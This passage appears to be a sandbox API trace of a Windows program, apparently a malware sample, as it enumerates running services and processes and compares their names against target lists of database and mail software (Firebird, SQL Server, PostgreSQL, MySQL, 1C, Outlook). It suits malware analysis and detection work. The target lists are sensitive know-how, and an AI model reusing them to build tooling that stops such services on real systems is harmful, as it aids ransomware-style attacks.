th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0246.510] lstrlenW (lpString="reader_sl.exe") returned 13 [0246.510] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0246.511] CloseHandle (hObject=0x3d0) returned 1 [0246.511] Sleep (dwMilliseconds=0x1f4) [0247.455] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8d32d8 [0247.456] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0247.457] GetLastError () returned 0xea [0247.457] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10c8) returned 0x424e078 [0247.457] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x424e078, cbBufSize=0x10c8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x424e078, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0247.459] CloseServiceHandle (hSCObject=0x8d32d8) returned 1 [0247.459] lstrlenW (lpString="Appinfo") returned 7 [0247.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0247.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0247.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0247.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0247.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0247.460] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0247.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.460] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0247.460] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0247.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0247.460] lstrlenW (lpString="AudioSrv") returned 8 [0247.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0247.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0247.460] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0247.461] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0247.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0247.461] lstrlenW (lpString="BFE") returned 3 [0247.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0247.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0247.461] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0247.461] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0247.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0247.461] lstrlenW (lpString="CryptSvc") returned 8 [0247.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0247.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0247.461] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0247.461] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0247.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0247.462] lstrlenW (lpString="CscService") returned 10 [0247.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0247.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0247.462] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0247.462] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0247.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0247.462] lstrlenW (lpString="DcomLaunch") returned 10 [0247.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.462] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0247.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0247.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0247.463] lstrlenW (lpString="Dhcp") returned 4 [0247.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0247.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0247.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0247.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0247.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0247.463] lstrlenW (lpString="Dnscache") returned 8 [0247.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0247.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0247.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0247.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0247.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0247.464] lstrlenW (lpString="DPS") returned 3 [0247.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0247.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0247.464] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0247.464] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0247.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0247.464] lstrlenW (lpString="eventlog") returned 8 [0247.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0247.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0247.464] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0247.464] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0247.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0247.464] lstrlenW (lpString="EventSystem") returned 11 [0247.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0247.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0247.465] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0247.465] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0247.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0247.465] lstrlenW (lpString="gpsvc") returned 5 [0247.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0247.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0247.465] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0247.465] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0247.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0247.465] lstrlenW (lpString="iphlpsvc") returned 8 [0247.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.466] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0247.466] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0247.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0247.466] lstrlenW (lpString="LanmanServer") returned 12 [0247.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0247.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0247.466] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0247.466] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0247.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0247.467] lstrlenW (lpString="LanmanWorkstation") returned 17 [0247.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.467] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0247.467] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0247.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0247.467] lstrlenW (lpString="lmhosts") returned 7 [0247.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0247.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0247.467] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0247.467] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0247.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0247.468] lstrlenW (lpString="MMCSS") returned 5 [0247.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0247.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0247.468] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0247.468] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0247.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0247.468] lstrlenW (lpString="MpsSvc") returned 6 [0247.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0247.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0247.468] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0247.468] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0247.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0247.469] lstrlenW (lpString="Netman") returned 6 [0247.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0247.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0247.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0247.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0247.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0247.469] lstrlenW (lpString="netprofm") returned 8 [0247.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0247.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0247.469] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0247.469] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0247.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0247.470] lstrlenW (lpString="NlaSvc") returned 6 [0247.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0247.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0247.470] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0247.470] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0247.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0247.470] lstrlenW (lpString="nsi") returned 3 [0247.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0247.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0247.470] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0247.470] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0247.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0247.470] lstrlenW (lpString="PcaSvc") returned 6 [0247.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0247.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0247.471] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0247.472] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0247.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0247.472] lstrlenW (lpString="PlugPlay") returned 8 [0247.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0247.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0247.472] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0247.472] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0247.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0247.472] lstrlenW (lpString="Power") returned 5 [0247.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0247.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0247.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0247.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0247.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0247.473] lstrlenW (lpString="ProfSvc") returned 7 [0247.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0247.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0247.473] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0247.473] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0247.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0247.473] lstrlenW (lpString="RpcEptMapper") returned 12 [0247.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.474] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0247.474] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0247.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0247.474] lstrlenW (lpString="RpcSs") returned 5 [0247.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0247.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0247.474] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0247.474] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0247.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0247.474] lstrlenW (lpString="SamSs") returned 5 [0247.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0247.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0247.475] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0247.475] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0247.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0247.475] lstrlenW (lpString="Schedule") returned 8 [0247.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0247.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0247.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0247.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0247.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0247.475] lstrlenW (lpString="SENS") returned 4 [0247.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0247.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0247.475] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0247.476] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0247.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0247.476] lstrlenW (lpString="ShellHWDetection") returned 16 [0247.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.476] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0247.476] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0247.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0247.476] lstrlenW (lpString="Spooler") returned 7 [0247.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0247.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0247.476] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0247.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0247.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0247.477] lstrlenW (lpString="SysMain") returned 7 [0247.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0247.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0247.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0247.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0247.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0247.477] lstrlenW (lpString="Themes") returned 6 [0247.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0247.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0247.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0247.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0247.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0247.478] lstrlenW (lpString="TrkWks") returned 6 [0247.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0247.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0247.478] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0247.478] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0247.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0247.478] lstrlenW (lpString="UxSms") returned 5 [0247.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0247.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0247.478] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0247.478] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0247.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0247.478] lstrlenW (lpString="WdiServiceHost") returned 14 [0247.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0247.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0247.479] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0247.479] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0247.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0247.479] lstrlenW (lpString="Winmgmt") returned 7 [0247.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0247.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0247.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0247.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0247.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0247.479] lstrlenW (lpString="WPDBusEnum") returned 10 [0247.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0247.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0247.480] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0247.480] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0247.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0247.480] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x424e078 | out: hHeap=0x880000) returned 1 [0247.480] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0247.484] Process32FirstW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.486] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.487] lstrlenW (lpString="System") returned 6 [0247.487] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0247.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0247.487] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0247.487] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0247.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0247.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0247.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0247.488] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.489] lstrlenW (lpString="smss.exe") returned 8 [0247.489] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0247.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0247.489] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0247.489] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0247.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0247.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0247.489] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0247.489] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.490] lstrlenW (lpString="csrss.exe") returned 9 [0247.490] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0247.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0247.490] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0247.490] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0247.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0247.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0247.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0247.491] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.492] lstrlenW (lpString="wininit.exe") returned 11 [0247.492] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0247.492] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0247.492] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0247.492] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0247.492] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0247.493] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0247.493] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0247.493] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.494] lstrlenW (lpString="csrss.exe") returned 9 [0247.494] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0247.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0247.494] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0247.494] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0247.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0247.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0247.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0247.494] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.495] lstrlenW (lpString="winlogon.exe") returned 12 [0247.495] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0247.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0247.496] 